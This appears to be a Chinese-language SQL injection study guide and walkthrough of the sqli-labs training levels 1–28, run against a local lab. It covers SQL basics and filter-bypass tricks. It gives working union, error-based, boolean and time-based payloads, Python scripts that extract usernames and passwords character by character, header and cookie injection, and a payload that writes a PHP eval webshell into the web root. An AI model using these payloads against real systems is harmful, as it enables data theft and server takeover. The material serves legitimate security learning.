首行极力推荐且本文参考于sqli-labs 天?
SQL注入概述
SQL是什么
SQL(Structured Query Language)即结构化查询语言,使用 SQL 编写应用程序可以完成数据库的管理工作。它的主要功能是同各种数据库建立联系进行沟通,任何程序,无论它用什么形式的高级语言,只要目的是向数据库管理系统发出命令来获得数据库管理系统的响应,最终都必须体现以SQL语句的指令。按照ANSI(美国国家标准协会)的规定,SQL 语句是和关系型数据系统进行交互的标准语言,但仍存在不同版本的SQL语句。
SQL 语句可以用来执行各种各样的操作,例如更新数据库中的数据从数据库中提取数据等。目前绝大多数流行的关系型数据库管理系统如 Oracle, Sybase, Microsoft SQL Server[4], Access 等都采用了 SQL 语言标准,虽然很多数据库都对 SQL 语句进行了再开发和扩展,但是包括 SELECT, INSERT, UPDATE, DELETE, CREATE, 以及 DROP 在内的标准的 SQL 命令仍然可以被用来完成几乎所有的数据库操作。
基本知识点
常见的命令
- 登录 MySQL 在win
MySQL -uroot -proot
- 创建一个数据库
create database sample;
- 查看数据库
show databases;
- 使用数据库
use sample;
- 查看表格
show tables;
- 创建表单
CREATE TABLE Customs(
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
firstname VARCHAR(30) NOT NULL,
lastname VARCHAR(30) NOT NULL,
email VARCHAR(50)
);
- 在 Customs表中插入数据(还有其他方式插入数据)
INSERT INTO Customs (firstname, lastname, email) VALUES ('John', 'Doe', 'john@example.com');
INSERT INTO Customs (firstname, lastname, email) VALUES ('Mary', 'Moe', 'mary@example.com');
INSERT INTO Customs (firstname, lastname, email) VALUES ('Julie', 'Dooley', 'julie@example.com');
- 查找
SELECT id,firstname,lastname,email FROM Customs WHERE id = 1;
- 更新数据
UPDATE Customs SET firstname = "Tom" , lastname = "Green" , email = "tom@example.com" where id = 2 ;
- 删除表格中的 数据 表 以及 数据库
DELETE FROM Customs WHERE id = 3;
DROP TABLE Customs;
DROP DATABASE sample;
系统函数
-
version() //系统函数
-
user() //数据库用户名
-
database() //数据库名
-
@@datadir //数据库路径
-
@@version_compile_os //操作系统版本
字符串连函数
- concat(str1,str2,…) //没有分隔符地连接字符串
- concat_ws(separator,str1,str2,….) //含有分割符
- group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’]))
一般用来绕过
这边还是推荐原文上的连接字符串连函数
union 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
SQL UNION ALL 语法
SELECT column_name(s) FROM table1
UNION ALL
SELECT column_name(s) FROM table2;
注释:UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
from runoob
select country from websites union select country from apps;
--连接两个表的查询结果集,重复的不显示
select country from websites union all select country from apps order by country;
--连接俩个个表的查询结果集,显示重复
select country,name from websites where country = 'CN' union all
select country,app_name from apps where country='CN' order by name;
--通过where条件查询的结果,连接连个表的结果集,并根据名字排序。
万能密码与 sql中的逻辑运算
简单的讲,sql中 AND 的优先级 要高于OR
select * from emails where id = "1";
select * from emails where id = "1" or 1 = 1 and 1 = 2 ;
- 解释:
1 = 1
true ,1 = 2
false ,同时 AND 的优先级 要高于OR 相当于(1 = 1 and 1 =2 ) = false
select address from emails where (id = "1" or (false ) ) -> false ;
而 万能密码则是 在sql 语句的最后添加 类似' or 1 = 1 --+
这样强为 true,且后面的代码被注释掉而无法执行。
例如
select id from user where id ='$id' LIMIT 0, 1;
select id from user where id ='$id' or 1 = 1 # LIMIT 0, 1;
注意 在mysql中注释符 为#
--[空格]
/**/
同时 --+
则是因为通过 GET方式传值的时候,+号会被浏览器处理为空。
limit
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15
//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.
//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行
//换句话说,LIMIT n 等价于 LIMIT 0,n。
数字型注入判断
- 看报错
- 1+1 是否等于 2 这类
待完善
隐式类型转换| 弱类型转换
https://www.cnblogs.com/rollenholt/p/5442825.html
基本注入流程
st=>start: Start
op=>operation: 查看数据库名
op1=>operation: 使用某数据库
op2=>operation: 查看表名
op3=>operation: 查看某表的列名或结构
op4=>operation: 执行操作
op5=>operation: 递归回去,依此检测错误
cond=>condition: 结果是否正确
e=>end
st->op->op1->op2->op3->op4->cond
cond(yes)->e
cond(no)->op5->e
# 查询数据库
show databases;
select schema_name from information_schema.schemata
#通过库名选择数据库
use database_name
#查看当前库里的表格
show tables;
select table_name from information_schema.tables where table_schema='database_name'
# 通过表名来查询表的结构
desc tablename;
# 查询某表的所有列
Select column_name from information_schema.columns where table_name='table_name'
#获取列中信息
select *** from ***
HPP -HTTP Parameter Pollution
web服务器 | 参数获取函数 | 获取的参数 |
---|---|---|
PHP/APACHE | $GET(‘V’) | LAST |
JSP/Tomcat | Request.getParameter("v") | First |
Perl(CGI)/apache | Param("par") | First |
Python/apache | getvalue("par") | ALL(first) |
ASP/IIS | Request.QueryString("par") | ALL(comma-delimited string mf) |
https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf
盲注
延时
报错
布尔
绕过
双写字符
or and
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=|| xor =^
空格
%09 | TAB 键(水平) |
---|---|
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | TAB(垂直) |
%a0 | |
/**/ | 注释符 |
括号 | select(user())from dual where(1=1)and(2=2) |
/*!*/ |
也可以在其中添加语句 |
其他
堆叠注入
sql中,;
为语句结束符.
Select * from products where productid=1;DELETE FROM products
order by 处的注入
$sql = "SELECT * FROM users ORDER BY $id";
Method | usage |
---|---|
1 | 直接添加注入语句,?sort=(select **) |
2 | 利用一些函数。例如 rand()函数等。?sort=rand(sql 语句) |
3 | 利用 and,例如?sort=1 and (加 sql 语句)。 |
可以配合布尔、延时、报错
SQLI-Labs
basic
0x01
此题测试为主
可以尝试万能密码、union查找以及基本的注入流程
union
# 爆数据库
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata limit 1,10--+
#爆 security 数据库的数据表
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
#爆 users 表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
# 爆 id ,username ,password
?id=-1' union select group_concat(id) ,group_concat(username),group_concat(concat('pass','word')) from users --+
其中的-1
是为了将前面的查询结果置空,而不用每次都要limit 1,10
0x7365637572697479
为security
的16进制编码
注意password
列名 需要绕过,且数据只输出2,3列
1~4都可以尝试union查找,不再赘述
0x02
为数字型注入
只需将第一题中'
去掉即可
判断方法:
?id=1*2
与 ?id=2
反显一致
或根据?id=1'
时的报错来判断
0x03
?id=1'
的报错为'1'') LIMIT 0,1' at line 1
猜测:原型类似与id=('$id')
则-1'
改为-1')
重新进行闭合查询条件
0x04
使用?id=-1"
会有报错信息near '' at line 1
为什么?id=1'
和?id=1)
不会甚至?id=+1+)'
这样的查询,也会执行正确。
是因为id为数字而传入值为字符串,在转换过程中涉及Mysql的隐式类型转换
类似于
mysql> select '1a2b3' = 1;
+-------------+
| '1a2b3' = 1 |
+-------------+
| 1 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 'a1b2c3' = 0;
+--------------+
| 'a1b2c3' = 0 |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
此题做法还是将1的payload改为?id=-1") --+
0x05
第五题的话,有错误反显,但sql执行成功是只会显示
you are in
三种盲注
- 布尔注入
# coding:utf-8
import requests
def database_len():
for i in range(1,10):
url = '''http://localhost/useful/sqlilabs/Less-5/index.php'''
payload = '''?id=1' and length(database())=%s''' % i
#print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print('length:',i)
else:
continue
database_len()
#获取数据库名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % (
j, i)
#print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('database_name:', name)
database_name()
# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('table_name:', name)
tables_name()
# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('column_name:', name)
columns_name()
# 获取username
def username_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(username) from users),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('username_value:', name)
username_value()
# 获取password
def password_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(password) from users),%d,1)='%s'" % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('password_value:', name)
password_value()
- 报错注入
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))
--+
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--+
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),
NAME_CONST(version(),1))x --+
前辈讲的其他方法有些无法使用可能与版本有关
double 类型超过范围
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,
3--+
利用bigint 溢出进行报错注入
/?id=1' union select (!(select * from (select user())x) - ~0),2,3-
-+
- 延时注入
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur
rent) as tb1--+
0x06
第五题与第六题区别在于第六题是将第五题和第4题结合一起的
# coding:utf-8
import requests
def database_len():
for i in range(1,10):
url = '''http://localhost/useful/sqlilabs/Less-6/index.php'''
payload = '''?id=1" and length(database())=%s''' % i
#print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print('length:',i)
else:
continue
database_len()
#获取数据库名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr(database(),%d,1)="%s"''' % (
j, i)
#print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('database_name:', name)
database_name()
# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('table_name:', name)
tables_name()
# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('column_name:', name)
columns_name()
# 获取username
def username_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1“ and substr((select group_concat(username) from users),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('username_value:', name)
username_value()
# 获取password
def password_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(password) from users),%d,1)="%s"''' % (
j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
#print(name)
break
print('password_value:', name)
password_value()
0x07
hint : outfile
尝试:
http://localhost/useful/sqlilabs/Less-7?id=1')) --+
写入cmd.php
http://localhost/useful/sqlilabs/Less-7
?id=')) union select null,null,"<?php @eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\cmd.php" --+
or
http://localhost/useful/sqlilabs/Less-7
?id=')) union select null,null,1 into outfile "D:\\phpstudy_pro\\WWW\\2.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27636d64275d293f3e --+
用webshell工具
0x08
此题无法使用报错注入, //print_r(mysql_error());
思路延时盲注或布尔注入(与5,6题相似)
延时注入
http://localhost/useful/sqlilabs/Less-8/?id=1%27%20and%20%20if%20(length(database())=8%20,sleep(10),null);--+
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import time
'''
https://docs.ioin.in/writeup/www.ch1st.cn/_/index.html
'''
url="http://localhost/useful/sqlilabs/Less-9/"
value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!0123456789"
length_database=0
def sql_len():
for i in range(1,12):
payload="?id=1'and if (length(database())=%d ,sleep(2),null);--+" %i
get_url = url + payload
starttime = time.time()
r = requests.get(get_url)
if time.time()-starttime>=1:
length_database = i
print ('%d: ' %i+ str(time.time()-starttime))
break
print("[+]数据库长度:"+str(length_database))
return length_database
def sql_data():
data=""
length=1+sql_len()
#print(length)
for i in range(1,length):
for j in value:
payload="?id=1' and if (mid(database(),%d,1)='%s' ,sleep(2),null);--+" %(i,j)
get_url = url + payload
#print(get_url)
starttime = time.time()
r = requests.get(get_url)
if time.time()-starttime>=1:
data=data+j
#print(data)
break
print("[+]数据库名:"+data)
sql_data()
0x09
还是延时注入
http://localhost/useful/sqlilabs/Less-9/?id=1' and sleep(1) --+
可以使用8的脚本
0x10
基于时间-双引号
import requests
value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!0123456789"
data=""
#来源:https://blog.csdn.net/vhkjhwbs/article/details/98960802
# 需要 不断 手工调整 url 和 url_length 中的 limit 的第一个参数 来获取下一行的数据
url = '''http://localhost/useful/sqlilabs/Less-10/?id=1" and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(3),NULL); %23'''
url_length='''http://localhost/useful/sqlilabs/Less-10/?id=1" and if((length(({0} limit 1,1))={1} ),sleep(3),NULL); %23'''
def get_length(payload):
for n in range(1,20):
url= url_length.format(payload,n)
#print(url)
if(get_respone(url)):
print("[+] length is {0}".format(n))
return n
def get_data(payload,value,length):
for n in range(1,length):
for v in value :
url_data = url.format(payload,n,ord(v)) #ord()返回字符的ASCII码
#print(url_data)
if(get_respone(url_data)):
global data
data=data+v
print("[+] data is {0}".format(data))
break
def get_respone(url):
try:
html = requests.get(url,timeout=2)
return False
except Exception as e:
print("......")
return True
#可以更改payload 来获取需要的数据
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)
0x11
Post
uname=admin' order by 2 --+&passwd=&submit=Submit
uname=admin' union select 1,database() limit 1,1--+&passwd=&submit=Submit
uname=admin' union select group_concat(schema_name),2 from information_schema.schemata limit 1,1--+&passwd=&submit=Submit
11~12 类似,只是闭合方式不同,可以直接输出查询值
0x12
uname=admin") --+&passwd=&submit=Submit
0x13
uname=admin')--+&passwd=&submit=Submit
uname=admin') and (extractvalue(1, concat(0x5c,(select version() ))));--+&passwd=&submit=Submit
13~14类似,也只是闭合方式不同。
0x14
uname=admin" --+&passwd=&submit=Submit
0x15
//print_r(mysql_error()); 关闭报错信息
可以使用fuzz的方式,如使用bp爆破或python爆破的方式猜测闭合方式。
如:
admin' and sleep(10) #
admin') and sleep(10) #
admin" and sleep(10) #
admin") and sleep(10) #
布尔注入
import requests
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""
def get_length(): #获取要查询的数据的长度
for n in range(1,100):
payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
data = {"uname":payload,"passwd":"admin"}
res = requests.post(url,data=data)
if 'flag.jpg' in res.text:
print("……data length is :" + str(n))
return n
def get_data(data_length): #获取数据
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
#print(payload)
data = {"uname":payload,"passwd":"admin"}
res = requests.post(url,data=data)
if 'flag.jpg' in res.text: #根据返回图片的不同来判断字符正确与否
result += char
#print("…… data is :"+ result)
break
url = "http://localhost/useful/sqlilabs/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
length = get_length() +1
get_data(length)
print(result)
0x16
延时注入
import requests
import time
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result=""
def get_length():#获取数据的长度
for n in range(1, 100):
payload = '''admin") and if((length(({0} ))={1}),sleep(4),1) #'''.format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time
if use_time > 3:
print("...... data's length is :"+ str(n))
return n
def get_data(length):#获取数据
global result
for n in range(1,length):
for v in value:
payload = '''admin") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #'''.format(data_payload,n,ord(v))
data = {"uname":payload,"passwd":"admin","submit":"submit"}
start_time = time.time()
requests.post(url,data=data)
end_time = time.time()
use_time = end_time - start_time
#
if use_time >4:
result += v
print("......"+result)
url = "http://localhost/useful/sqlilabs/Less-16/"
data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
length = get_length() + 1
get_data(length)
print(".....data is :"+ result)
0x17
update table_name set column_name = ‘xxxx’ where key_word = ‘xxx’;
使用报错注入
uname=admin&passwd=1' and extractvalue(0x0a,concat(0x0a,(select database()))) --+&submit=Submit
XPATH syntax error: ' security'
也可以延时和布尔注入
不使用username 的原因
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15); //字符分割15个字节
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()) //PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。检验是否已经使用过addslashes()
{
$value = stripslashes($value);//函数删除由 addslashes() 函数添加的反斜杠。
}
// Quote if not a number
if (!ctype_digit($value))//主要功能是检测字符串中的字符是否都是数字,负数和小数会检测不通过。 注意,参数一定要是字符串,如果不是字符串,则会返回0/FASLE。
{
$value = "'" . mysql_real_escape_string($value) . "'"; //函数转义 SQL 语句中使用的字符串中的特殊字符。
}
else
{
$value = intval($value);//函数用于获取变量的整数值
}
return $value;
}
mysql_real_escape_string()
影响的字符串
- \x00
- \n
- \r
- \
- ‘
- "
- \x1a
0x18
在18题中,username和password 都有checkin()函数过滤。
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
可以对http header进行报错注入
#coding:utf-8
import requests
url = "http://localhost/useful/sqlilabs/Less-18/"
key = {'uname': "admin",'passwd':"admin"}
headers = {
"Host": "localhost",
"User-Agent": "'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1", ""
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "34",
"Referer": "http://localhost/sqli-labs-master/sqli-labs-master/Less-18/",
"Cookie": "Phpstorm-b508df8e=d3fe512f-f910-46f4-ac3f-7937af84827d",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}
res = requests.post(url,headers = headers,data=key)
print(res.text)
0x19
与18相似,注入点改为Referer
#coding:utf-8
import requests
url = "http://localhost/useful/sqlilabs/Less-19/"
key = {'uname': "admin",'passwd':"admin"}
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0", ""
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "34",
"Referer": "'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1",
"Cookie": "Phpstorm-b508df8e=d3fe512f-f910-46f4-ac3f-7937af84827d",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}
res = requests.post(url,headers = headers,data=key)
print(res.text)
0x20
Cookie Injection- Error Based
#coding:utf-8
import requests
url = "http://localhost/useful/sqlilabs/Less-20/"
key = {'uname': "admin",'passwd':"admin"}
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0", ""
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "34",
"Cookie": "uname=admin'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}
res = requests.post(url,headers = headers,data=key)
print(res.text)
0x21
与20题相似
Cookie: uname=YWRtaW4=
base64
YWRtaW4= admin
只需要将20题的cookie base64编码。
Cookie: uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj
//admin1')and extractvalue(1,concat(0x7e,(select database()),0x7e))#
YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
//admin1')and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
0x22
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
cookie payload
admin1" and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
YWRtaW4xIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
Advance
0x23
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
无法使用注释符
payload
http://localhost/useful/sqlilabs/Less-23/?id==-1' union select 1,2,'3
修改联合查找的第二列,可以继续查询数据库
http://localhost/useful/sqlilabs/Less-23/?id==-1' union select 1,(select group_concat(schema_name)from information_schema.schemata), '3
http://localhost/useful/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),'3
http://localhost/useful/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'user' and table_schema='mysql'),'2
http://localhost/useful/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(Host) from mysql.user),'2
0x24
二次注入
已有账号
mysql> select * from users where username like 'root%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | root | 12 |
+----+----------+----------+
1 row in set (0.00 sec)
注册账号
username = root'#
password = 1
mysql> select * from users where username like 'root%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | root | 12 |
| 28 | root'# | 1 |
+----+----------+----------+
2 rows in set (0.00 sec)
修改密码
old_passwd = 1
new_passwd = 123
rp_passwd = 123
mysql> select * from users where username like 'root%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | root | 123 |
| 28 | root'# | 1 |
+----+----------+----------+
0x25
源代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
payload
http://localhost/useful/sqlilabs/Less-25/?id=-1' || extractvalue(0x0a,concat(0x0a,(select database()))) --+
0x25a
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
//echo 'YOU ARE IN ........';
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff>" font size= 3>';
}
无法报错注入,但可以联合查找、延时、布尔
import requests
result = ""
url_template = "http://localhost/useful/sqlilabs/Less-25a/?id=0 || ascii(substr(({0}),{1},1))={2} %23"
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
url_length = "http://localhost/useful/sqlilabs/Less-25a/?id=0 || length(({0})) ={1} %23"
Value ="Dumb"
def get_result_length(payload,Value):
for n in range(1,100):
url = url_length.format(payload,n)
#print(url)
response = requests.get(url)
if Value in response.text:
print("……data length is :" + str(n))
return n
def get_db_name(data_length,payload,Value):
for i in range(1,data_length):
for char in chars:
url = url_template.format(payload,i,ord(char))
response = requests.get(url)
if Value in response.text:
global result
result += char
#print("…… data is :"+ result)
break
payload = "database() "
data_length = get_result_length(payload,Value)+1
get_db_name(data_length,payload,Value )
print("…… data is :"+ result)
0x26
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
http://localhost/useful/sqlilabs/Less-26/?id=0'%a0||%a0extractvalue(0x0a,concat(0x0a,(select %a0database())))%a0||'1
0x26a
无法报错注入
使用布尔注入
http://localhost/useful/sqlilabs/Less-26a/?id=1')%a0^(length(database()) =8)^('1
这里我使用了异或
^
true ^ judge ^ true
===judge
0x27
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNIONc
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
http://localhost/useful/sqlilabs/Less-27/?id=100'uniunionon%a0SeleCt%a01,database(),'1
0x27a
用
"
闭合,且无法使用报错
http://localhost/useful/sqlilabs/Less-27a/?id=100000"uniunionon%a0SeleCt%a01,database(),"1
0x28
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
